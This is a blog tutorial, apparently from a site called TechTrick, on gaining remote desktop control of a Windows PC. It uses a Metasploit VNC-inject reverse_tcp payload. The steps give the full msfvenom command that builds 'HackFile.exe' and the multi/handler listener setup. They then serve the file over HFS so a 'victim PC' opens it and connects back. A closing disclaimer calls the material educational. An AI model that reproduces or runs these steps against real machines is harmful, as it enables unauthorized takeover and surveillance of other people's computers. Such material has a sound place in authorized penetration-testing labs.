Injecting the VNC Server Remotely Using MetaSploit(MSF Venom)


The Virtual Network Computing (VNC) is a graphical desktop sharing system that uses to remotely control another computer. We can inject a VNC server remotely using the Metasploit payload for the VNC injection. In this recipe, we will learn how to inject the VNC server remotely.


It assumes that you already have MetaSploit installed, or that you are running Kali / backtrack Linux. if not Installed,you can download from here https://www.metasploit.com/



Step 1 :

msfvenom -p windows/vncinject/reverse_tcp lhost=192.168.18.132 lport=4466 -f exe > /root/Desktop/HackFile.exe

Injecting the VNC Server Remotely Using MetaSploit(MSF Venom)


Step 2 : Open MetaSploit by using command msfconsole


Injecting the VNC Server Remotely Using MetaSploit(MSF Venom)


Step 3 :

msf > use exploit/multi/handler

msf exploit (handler)>set payload windows/vncinject/reverse_tcp

msf exploit (handler)>set lhost 192.168.18.132

msf exploit (handler)>set lport 4466

msf exploit (handler)>run

Injecting the VNC Server Remotely Using MetaSploit(MSF Venom)


Step 4 : Share a file with HFS (HTTP file Sever)


HFS(HTTP file Sever) is default installed in Latest kali linux,if not installed,visit our article

How to send or receive files in Kali Linux - Using HFS(HTTP File Server)


Injecting the VNC Server Remotely Using MetaSploit(MSF Venom)


Step 5 : Open the Kali Linux ip on victim PC (Window PC/target PC) in browser.


Injecting the VNC Server Remotely Using MetaSploit(MSF Venom)


Step 6 : Now you have Successfully Injecting the VNC Server Remotely


Injecting the VNC Server Remotely Using MetaSploit(MSF Venom)


Step 7 : we have Captured VNC Session of Remote Windows PC by Payloads Injection



Injecting the VNC Server Remotely Using MetaSploit(MSF Venom)


For References :-




I hope you enjoyed this article.



Sharing is caring

google
linkedin

About Author

Akash is a co-founder and an aspiring entrepreneur who keeps a close eye on open source, tech giants, and security. Get in touch with him by sending an email (akashchugh1994@gmail.com).


You may also like :-




Leave a Comment

Your email address will not be published. Required fields are marked *




Stay Connected

Popular Posts

Get Latest Stuff Through Email


Who Should Read TechTrick?

All the tricks and tips that TechTrick provides only for educational purpose. If you choose to use the information in TechTrick to break into computer systems maliciously and without authorization, you are on your own. Neither I (TechTrick Admin) nor anyone else associated with TechTrick shall be liable. We are not responsibe for any issues that caused due to informations provided here. So, Try yourself and see the results. You are not losing anything by trying... We are humans, Mistakes are quite natural. Here on TechTrick also have many mistakes..